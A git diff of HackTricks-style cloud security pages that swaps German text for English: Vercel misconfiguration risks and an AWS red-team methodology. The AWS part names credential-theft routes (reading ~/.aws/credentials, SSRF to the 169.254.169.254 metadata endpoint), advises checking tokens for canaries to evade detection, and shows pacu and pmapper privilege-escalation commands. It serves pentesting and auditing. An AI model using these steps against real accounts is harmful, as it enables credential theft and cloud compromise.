- **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access.
- **Misconfiguration:** Not adding critical Git scopes to the protected list.
- **Risks:**
- **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization.
- **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team.
- **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system.
- **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled.
- **Risks:**
- **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members.
- **Data Breach:** Sensitive information like API keys and credentials could be leaked.
- **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members.
- **Misconfiguration:**\
Granting access to audit logs to unauthorized team members.
- **Risks:**
- **Privacy Violations:** Exposure of sensitive user activities and data.
- **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks.
- **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management.
- **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints.
- **Risk:** Maintain persistence
- **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains.
- **Misconfiguration:** Leaving IP address visibility enabled without necessity.
- **Risks:**
- **Privacy Violations:** Non-compliance with data protection regulations like GDPR.
- **Legal Repercussions:** Potential fines and penalties for mishandling personal data.
- **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing.
- **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic.
- **Risks:**
- **Service Denial to Legitimate Users:** Blocking access for valid users or partners.
- **Operational Disruptions:** Loss of service availability for certain regions or clients.
---
### Sicheres Rechnen
### Secure Compute
**Vercel Secure Compute** ermöglicht sichere, private Verbindungen zwischen Vercel-Funktionen und Backend-Umgebungen (z. B. Datenbanken), indem isolierte Netzwerke mit dedizierten IP-Adressen eingerichtet werden. Dies beseitigt die Notwendigkeit, Backend-Dienste öffentlich zugänglich zu machen, und verbessert die Sicherheit, Compliance und den Datenschutz.
**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy.
#### **Potenzielle Fehlkonfigurationen und Risiken**
#### **Potential Misconfigurations and Risks**
1. **Falsche Auswahl der AWS-Region**
- **Fehlkonfiguration:** Auswahl einer AWS-Region für das Secure Compute-Netzwerk, die nicht mit der Region der Backend-Dienste übereinstimmt.
- **Risiko:** Erhöhte Latenz, potenzielle Probleme mit der Datenresidenz-Compliance und verschlechterte Leistung.
2. **Überlappende CIDR-Blöcke**
- **Fehlkonfiguration:** Auswahl von CIDR-Blöcken, die mit bestehenden VPCs oder anderen Netzwerken überlappen.
- **Risiko:** Netzwerk-Konflikte, die zu fehlgeschlagenen Verbindungen, unbefugtem Zugriff oder Datenlecks zwischen Netzwerken führen.
3. **Unzureichende VPC-Peering-Konfiguration**
- **Fehlkonfiguration:** Falsche Einrichtung des VPC-Peerings (z. B. falsche VPC-IDs, unvollständige Aktualisierungen der Routing-Tabellen).
- **Risiko:** Unbefugter Zugriff auf die Backend-Infrastruktur, fehlgeschlagene sichere Verbindungen und potenzielle Datenverletzungen.
4. **Übermäßige Projektzuweisungen**
- **Fehlkonfiguration:** Zuweisung mehrerer Projekte zu einem einzigen Secure Compute-Netzwerk ohne angemessene Isolation.
- **Risiko:** Gemeinsame IP-Exposition erhöht die Angriffsfläche, was möglicherweise kompromittierte Projekte betrifft.
5. **Unzureichendes IP-Adressmanagement**
- **Fehlkonfiguration:** Versäumnis, dedizierte IP-Adressen angemessen zu verwalten oder zu rotieren.
- **Risiko:** IP-Spoofing, Verfolgung von Schwachstellen und potenzielle Sperrung, wenn IPs mit bösartigen Aktivitäten in Verbindung gebracht werden.
6. **Unnötige Einbeziehung von Build-Containern**
- **Fehlkonfiguration:** Hinzufügen von Build-Containern zum Secure Compute-Netzwerk, wenn kein Backend-Zugriff während der Builds erforderlich ist.
- **Risiko:** Erweiterte Angriffsfläche, erhöhte Bereitstellungsverzögerungen und unnötiger Verbrauch von Netzwerkressourcen.
7. **Versäumnis, Umgehungsgeheimnisse sicher zu behandeln**
- **Fehlkonfiguration:** Offenlegung oder unsachgemäße Handhabung von Geheimnissen, die zur Umgehung von Bereitstellungsschutzmaßnahmen verwendet werden.
- **Risiko:** Unbefugter Zugriff auf geschützte Bereitstellungen, der es Angreifern ermöglicht, bösartigen Code zu manipulieren oder bereitzustellen.
8. **Ignorieren von Failover-Konfigurationen für Regionen**
- **Fehlkonfiguration:** Keine Einrichtung passiver Failover-Regionen oder fehlerhafte Failover-Einstellungen.
- **Risiko:** Dienstunterbrechungen während Ausfällen der primären Region, was zu reduzierter Verfügbarkeit und potenzieller Dateninkonsistenz führt.
9. **Überschreiten der VPC-Peering-Verbindungsgrenzen**
- **Fehlkonfiguration:** Versuch, mehr VPC-Peering-Verbindungen herzustellen als die zulässige Grenze (z. B. mehr als 50 Verbindungen).
- **Risiko:** Unfähigkeit, notwendige Backend-Dienste sicher zu verbinden, was zu Bereitstellungsfehlern und betrieblichen Störungen führt.
10. **Unsichere Netzwerkeinstellungen**
- **Fehlkonfiguration:** Schwache Firewall-Regeln, fehlende Verschlüsselung oder unsachgemäße Netzwerksegmentierung innerhalb des Secure Compute-Netzwerks.
- **Risiko:** Datenabfang, unbefugter Zugriff auf Backend-Dienste und erhöhte Anfälligkeit für Angriffe.
1. **Incorrect AWS Region Selection**
- **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region.
- **Risk:** Increased latency, potential data residency compliance issues, and degraded performance.
2. **Overlapping CIDR Blocks**
- **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks.
- **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks.
3. **Improper VPC Peering Configuration**
- **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates).
- **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches.
4. **Excessive Project Assignments**
- **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation.
- **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others.
5. **Inadequate IP Address Management**
- **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately.
- **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities.
6. **Including Build Containers Unnecessarily**
- **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds.
- **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources.
7. **Failure to Securely Handle Bypass Secrets**
- **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections.
- **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code.
8. **Ignoring Region Failover Configurations**
- **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings.
- **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency.
9. **Exceeding VPC Peering Connection Limits**
- **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections).
- **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions.
10. **Insecure Network Settings**
- **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network.
- **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks.
---
### Umgebungsvariablen
### Environment Variables
**Zweck:** Verwalten Sie umgebungsspezifische Variablen und Geheimnisse, die von allen Projekten verwendet werden.
**Purpose:** Manage environment-specific variables and secrets used by all the projects.
#### Sicherheitskonfigurationen:
#### Security Configurations:
- **Sensible Variablen offenlegen**
- **Fehlkonfiguration:** Präfixierung sensibler Variablen mit `NEXT_PUBLIC_`, wodurch sie auf der Client-Seite zugänglich werden.
- **Risiko:** Offenlegung von API-Schlüsseln, Datenbankanmeldeinformationen oder anderen sensiblen Daten für die Öffentlichkeit, was zu Datenverletzungen führt.
- **Sensible deaktiviert**
- **Fehlkonfiguration:** Wenn deaktiviert (Standard) ist es möglich, die Werte der generierten Geheimnisse zu lesen.
- **Risiko:** Erhöhte Wahrscheinlichkeit einer versehentlichen Offenlegung oder unbefugten Zugriffs auf sensible Informationen.
- **Exposing Sensitive Variables**
- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
- **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
- **Sensitive disabled**
- **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
{{#include ../banners/hacktricks-training.md}}

View File

@@ -2,17 +2,17 @@
{{#include ../../banners/hacktricks-training.md}}
## Grundinformationen
## Basic Information
**Bevor Sie mit dem Pentesting** einer **AWS**-Umgebung beginnen, gibt es einige **grundlegende Dinge, die Sie wissen müssen**, wie AWS funktioniert, um zu verstehen, was Sie tun müssen, wie Sie Fehlkonfigurationen finden und wie Sie diese ausnutzen können.
**Before start pentesting** an **AWS** environment there are a few **basics things you need to know** about how AWS works to help you understand what you need to do, how to find misconfigurations and how to exploit them.
Konzepte wie Organisationshierarchie, IAM und andere grundlegende Konzepte werden erklärt in:
Concepts such as organization hierarchy, IAM and other basic concepts are explained in:
{{#ref}}
aws-basic-information/
{{#endref}}
## Labs zum Lernen
## Labs to learn
- [https://github.com/RhinoSecurityLabs/cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat)
- [https://github.com/BishopFox/iam-vulnerable](https://github.com/BishopFox/iam-vulnerable)
@@ -22,49 +22,49 @@ aws-basic-information/
- [http://flaws.cloud/](http://flaws.cloud/)
- [http://flaws2.cloud/](http://flaws2.cloud/)
Tools zur Simulation von Angriffen:
Tools to simulate attacks:
- [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/)
- [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main)
## AWS Pentester/Red Team Methodologie
## AWS Pentester/Red Team Methodology
Um eine AWS-Umgebung zu auditieren, ist es sehr wichtig zu wissen: welche **Dienste verwendet werden**, was **exponiert** ist, wer **Zugriff** auf was hat und wie interne AWS-Dienste mit **externen Diensten** verbunden sind.
In order to audit an AWS environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal AWS services an **external services** connected.
Aus der Sicht eines Red Teams ist der **erste Schritt, um eine AWS-Umgebung zu kompromittieren**, das Erlangen von **Anmeldeinformationen**. Hier sind einige Ideen, wie Sie das tun können:
From a Red Team point of view, the **first step to compromise an AWS environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that:
- **Leaks** in GitHub (oder ähnlichem) - OSINT
- **Soziale** Ingenieurkunst
- **Passwort**-Wiederverwendung (Passwortlecks)
- Schwachstellen in AWS-gehosteten Anwendungen
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) mit Zugriff auf den Metadaten-Endpunkt
- **Lokales Datei-Lesen**
- `/home/USERNAME/.aws/credentials`
- `C:\Users\USERNAME\.aws\credentials`
- 3rd Party **gehackt**
- **Interner** Mitarbeiter
- [**Cognito** ](aws-services/aws-cognito-enum/index.html#cognito)Anmeldeinformationen
- **Leaks** in github (or similar) - OSINT
- **Social** Engineering
- **Password** reuse (password leaks)
- Vulnerabilities in AWS-Hosted Applications
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) with access to metadata endpoint
- **Local File Read**
- `/home/USERNAME/.aws/credentials`
- `C:\Users\USERNAME\.aws\credentials`
- 3rd parties **breached**
- **Internal** Employee
- [**Cognito** ](aws-services/aws-cognito-enum/index.html#cognito)credentials
Oder durch **Kompromittierung eines nicht authentifizierten Dienstes**, der exponiert ist:
Or by **compromising an unauthenticated service** exposed:
{{#ref}}
aws-unauthenticated-enum-access/
{{#endref}}
Oder wenn Sie eine **Überprüfung** durchführen, könnten Sie einfach **nach Anmeldeinformationen** mit diesen Rollen fragen:
Or if you are doing a **review** you could just **ask for credentials** with these roles:
{{#ref}}
aws-permissions-for-a-pentest.md
{{#endref}}
> [!NOTE]
> Nachdem Sie Anmeldeinformationen erhalten haben, müssen Sie wissen, **wem diese Anmeldeinformationen gehören** und **auf was sie Zugriff haben**, daher müssen Sie einige grundlegende Aufzählungen durchführen:
> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
## Grundlegende Aufzählung
## Basic Enumeration
### SSRF
Wenn Sie ein SSRF auf einer Maschine innerhalb von AWS gefunden haben, überprüfen Sie diese Seite für Tricks:
If you found a SSRF in a machine inside AWS check this page for tricks:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
@@ -72,7 +72,8 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
### Whoami
Eine der ersten Dinge, die Sie wissen müssen, ist, wer Sie sind (in welchem Konto Sie sich befinden und andere Informationen über die AWS-Umgebung):
One of the first things you need to know is who you are (in where account you are in other info about the AWS env):
```bash
# Easiest way, but might be monitored?
aws sts get-caller-identity
@@ -88,9 +89,10 @@ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
```
> [!CAUTION]
> Beachten Sie, dass Unternehmen **Canary-Tokens** verwenden könnten, um zu identifizieren, wann **Tokens gestohlen und verwendet werden**. Es wird empfohlen, zu überprüfen, ob ein Token ein Canary-Token ist, bevor Sie es verwenden.\
> Für weitere Informationen [**prüfen Sie diese Seite**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
> Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it.\
> For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
### Org Enumeration
@@ -100,30 +102,30 @@ aws-services/aws-organizations-enum.md
### IAM Enumeration
Wenn Sie genügend Berechtigungen haben, wird das **Überprüfen der Berechtigungen jeder Entität im AWS-Konto** Ihnen helfen zu verstehen, was Sie und andere Identitäten tun können und wie Sie **Berechtigungen eskalieren** können.
If you have enough permissions **checking the privileges of each entity inside the AWS account** will help you understand what you and other identities can do and how to **escalate privileges**.
Wenn Sie nicht genügend Berechtigungen haben, um IAM zu enumerieren, können Sie **sie stehlen und bruteforcen**, um sie herauszufinden.\
Überprüfen Sie **wie man die Enumeration und das Brute-Forcing durchführt** in:
If you don't have enough permissions to enumerate IAM, you can **steal bruteforce them** to figure them out.\
Check **how to do the numeration and brute-forcing** in:
{{#ref}}
aws-services/aws-iam-enum.md
{{#endref}}
> [!NOTE]
> Jetzt, da Sie **einige Informationen über Ihre Anmeldeinformationen haben** (und wenn Sie ein Red Team sind, hoffen wir, dass Sie **nicht entdeckt wurden**). Es ist an der Zeit herauszufinden, welche Dienste in der Umgebung verwendet werden.\
> Im folgenden Abschnitt können Sie einige Möglichkeiten überprüfen, um **einige gängige Dienste zu enumerieren.**
> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
> In the following section you can check some ways to **enumerate some common services.**
## Services Enumeration, Post-Exploitation & Persistence
AWS hat eine erstaunliche Anzahl von Diensten. Auf der folgenden Seite finden Sie **grundlegende Informationen, Enumeration** Cheatsheets\*\*,\*\* wie man **Erkennung vermeidet**, **Persistenz** erlangt und andere **Post-Exploitation** Tricks über einige von ihnen:
AWS has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets\*\*,\*\* how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them:
{{#ref}}
aws-services/
{{#endref}}
Beachten Sie, dass Sie **nicht** die gesamte Arbeit **manuell** durchführen müssen. Unten in diesem Beitrag finden Sie einen **Abschnitt über** [**automatische Tools**](#automated-tools).
Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](#automated-tools).
Darüber hinaus könnten Sie in diesem Stadium **weitere Dienste entdeckt haben, die für nicht authentifizierte Benutzer exponiert sind**, die Sie möglicherweise ausnutzen können:
Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them:
{{#ref}}
aws-unauthenticated-enum-access/
@@ -131,7 +133,7 @@ aws-unauthenticated-enum-access/
## Privilege Escalation
Wenn Sie **mindestens Ihre eigenen Berechtigungen** über verschiedene Ressourcen überprüfen können, könnten Sie **überprüfen, ob Sie weitere Berechtigungen erhalten können**. Sie sollten sich mindestens auf die in folgenden Links angegebenen Berechtigungen konzentrieren:
If you can **check at least your own permissions** over different resources you could **check if you are able to obtain further permissions**. You should focus at least in the permissions indicated in:
{{#ref}}
aws-privilege-escalation/
@@ -139,10 +141,10 @@ aws-privilege-escalation/
## Publicly Exposed Services
Während Sie AWS-Dienste enumerieren, haben Sie möglicherweise einige gefunden, die **Elemente ins Internet exponieren** (VM/Container-Ports, Datenbanken oder Warteschlangendienste, Snapshots oder Buckets...).\
Als Pentester/Red Teamer sollten Sie immer überprüfen, ob Sie **sensible Informationen / Schwachstellen** auf ihnen finden können, da sie Ihnen **weiteren Zugang zum AWS-Konto** verschaffen könnten.
While enumerating AWS services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\
As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**.
In diesem Buch sollten Sie **Informationen** darüber finden, wie man **exponierte AWS-Dienste findet und wie man sie überprüft**. Über das Finden von **Schwachstellen in exponierten Netzwerkdiensten** würde ich Ihnen empfehlen, nach dem spezifischen **Dienst** zu **suchen** in:
In this book you should find **information** about how to find **exposed AWS services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in:
{{#ref}}
https://book.hacktricks.wiki/
@@ -152,49 +154,52 @@ https://book.hacktricks.wiki/
### From the root/management account
Wenn das Management-Konto neue Konten in der Organisation erstellt, wird eine **neue Rolle** im neuen Konto erstellt, standardmäßig benannt **`OrganizationAccountAccessRole`** und gibt der **Management-Konto** die **AdministratorAccess**-Richtlinie, um auf das neue Konto zuzugreifen.
When the management account creates new accounts in the organization, a **new role** is created in the new account, by default named **`OrganizationAccountAccessRole`** and giving **AdministratorAccess** policy to the **management account** to access the new account.
<figure><img src="../../images/image (171).png" alt=""><figcaption></figcaption></figure>
Um also als Administrator auf ein Kindkonto zuzugreifen, benötigen Sie:
So, in order to access as administrator a child account you need:
- **Kompromittieren** Sie das **Management**-Konto und finden Sie die **ID** der **Kindkonten** und die **Namen** der **Rolle** (OrganizationAccountAccessRole standardmäßig), die dem Management-Konto den Zugriff als Administrator ermöglicht.
- Um Kindkonten zu finden, gehen Sie zum Abschnitt Organisationen in der AWS-Konsole oder führen Sie `aws organizations list-accounts` aus.
- Sie können die Namen der Rollen nicht direkt finden, also überprüfen Sie alle benutzerdefinierten IAM-Richtlinien und suchen Sie nach solchen, die **`sts:AssumeRole` über die zuvor entdeckten Kindkonten** erlauben.
- **Kompromittieren** Sie einen **Principal** im Management-Konto mit **`sts:AssumeRole`-Berechtigung über die Rolle in den Kindkonten** (auch wenn das Konto jedem im Management-Konto erlaubt, sich auszugeben, sind spezifische `sts:AssumeRole`-Berechtigungen erforderlich, da es sich um ein externes Konto handelt).
- **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin.
- To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts`
- You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**.
- **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary).
## Automated Tools
### Recon
- [**aws-recon**](https://github.com/darkbitio/aws-recon): Ein multithreaded, auf AWS-Sicherheit fokussiertes **Inventarsammlungstool**, geschrieben in Ruby.
- [**aws-recon**](https://github.com/darkbitio/aws-recon): A multi-threaded AWS security-focused **inventory collection tool** written in Ruby.
```bash
# Install
gem install aws_recon
# Recon and get json
AWS_PROFILE=<profile> aws_recon \
--services S3,EC2 \
--regions global,us-east-1,us-east-2 \
--verbose
--services S3,EC2 \
--regions global,us-east-1,us-east-2 \
--verbose
```
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist ist ein **Multi-Cloud-Tool zum Abrufen von Assets** (Hostnamen, IP-Adressen) von Cloud-Anbietern.
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper hilft Ihnen, Ihre Amazon Web Services (AWS) Umgebungen zu analysieren. Es enthält jetzt viel mehr Funktionen, einschließlich der Überprüfung auf Sicherheitsprobleme.
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues.
```bash
# Installation steps in github
# Create a config.json file with the aws info, like:
{
"accounts": [
{
"default": true,
"id": "<account id>",
"name": "dev"
}
],
"cidrs":
{
"2.2.2.2/28": {"name": "NY Office"}
}
"accounts": [
{
"default": true,
"id": "<account id>",
"name": "dev"
}
],
"cidrs":
{
"2.2.2.2/28": {"name": "NY Office"}
}
}
# Enumerate
@@ -224,7 +229,9 @@ python3 cloudmapper.py public --accounts dev
python cloudmapper.py prepare #Prepare webserver
python cloudmapper.py webserver #Show webserver
```
- [**cartography**](https://github.com/lyft/cartography): Cartography ist ein Python-Tool, das Infrastrukturressourcen und die Beziehungen zwischen ihnen in einer intuitiven grafischen Ansicht konsolidiert, die von einer Neo4j-Datenbank unterstützt wird.
- [**cartography**](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database.
```bash
# Install
pip install cartography
@@ -233,15 +240,17 @@ pip install cartography
# Get AWS info
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
```
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase sammelt Assets und Beziehungen von Diensten und Systemen, einschließlich Cloud-Infrastruktur, SaaS-Anwendungen, Sicherheitskontrollen und mehr, in einer intuitiven grafischen Ansicht, die von der Neo4j-Datenbank unterstützt wird.
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Verwendet python2) Dies ist ein Tool, das versucht, **alle** [**AWS-Ressourcen**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) zu **entdecken**, die in einem Konto erstellt wurden.
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): Es ist ein Tool, um **alle öffentlichen IP-Adressen** (sowohl IPv4/IPv6) abzurufen, die mit einem AWS-Konto verbunden sind.
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database.
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account.
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account.
### Privesc & Exploiting
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Entdecken Sie die privilegiertesten Benutzer in der gescannten AWS-Umgebung, einschließlich der AWS Shadow Admins. Es verwendet PowerShell. Sie können die **Definition privilegierter Richtlinien** in der Funktion **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1) finden.
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu ist ein Open-Source-**AWS-Exploitation-Framework**, das für offensive Sicherheitstests in Cloud-Umgebungen entwickelt wurde. Es kann **enumerieren**, **Fehlkonfigurationen** finden und diese **ausnutzen**. Sie können die **Definition privilegierter Berechtigungen** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) im **`user_escalation_methods`** dict finden.
- Beachten Sie, dass pacu **nur Ihre eigenen Privesc-Pfade überprüft** (nicht kontoweit).
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the **definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict.
- Note that pacu **only checks your own privescs paths** (not account wide).
```bash
# Install
## Feel free to use venvs
@@ -255,7 +264,9 @@ pacu
> exec iam__enum_permissions # Get permissions
> exec iam__privesc_scan # List privileged permissions
```
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) ist ein Skript und eine Bibliothek zur Identifizierung von Risiken in der Konfiguration von AWS Identity and Access Management (IAM) für ein AWS-Konto oder eine AWS-Organisation. Es modelliert die verschiedenen IAM-Benutzer und -Rollen in einem Konto als gerichteten Graphen, was Überprüfungen auf **Privilegieneskalation** und auf alternative Wege ermöglicht, die ein Angreifer nutzen könnte, um Zugriff auf eine Ressource oder Aktion in AWS zu erhalten. Sie können die **Berechtigungen, die verwendet werden, um privesc**-Pfad zu finden, in den Dateinamen, die mit `_edges.py` enden, überprüfen in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
```bash
# Install
pip install principalmapper
@@ -277,8 +288,10 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins
pmapper --profile dev orgs create
pmapper --profile dev orgs display
```
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining ist ein AWS IAM-Sicherheitsbewertungstool, das Verstöße gegen das Prinzip der minimalen Berechtigung identifiziert und einen risikopriorisierten HTML-Bericht erstellt.\
Es zeigt Ihnen potenziell **überprivilegierte** Kunden, Inline- und AWS-**Richtlinien** und welche **Prinzipien Zugriff darauf haben**. (Es überprüft nicht nur auf Privesc, sondern auch auf andere interessante Berechtigungen, die empfohlen werden zu verwenden).
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\
It will show you potentially **over privileged** customer, inline and aws **policies** and which **principals has access to them**. (It not only checks for privesc but also other kind of interesting permissions, recommended to use).
```bash
# Install
pip install cloudsplaining
@@ -290,20 +303,24 @@ cloudsplaining download --profile dev
# Analyze the IAM policies
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
```
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack bewertet AWS-Konten auf **Verwundbarkeiten durch Subdomain-Hijacking** aufgrund von entkoppelten Route53- und CloudFront-Konfigurationen.
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Liste ECR-Repos -> Ziehe ECR-Repo -> Hintertür -> Push hintertüriges Image
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag ist ein Tool, das **in öffentlichen Elastic Block Storage (**EBS) Snapshots nach Geheimnissen sucht**, die möglicherweise versehentlich hinterlassen wurden.
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations.
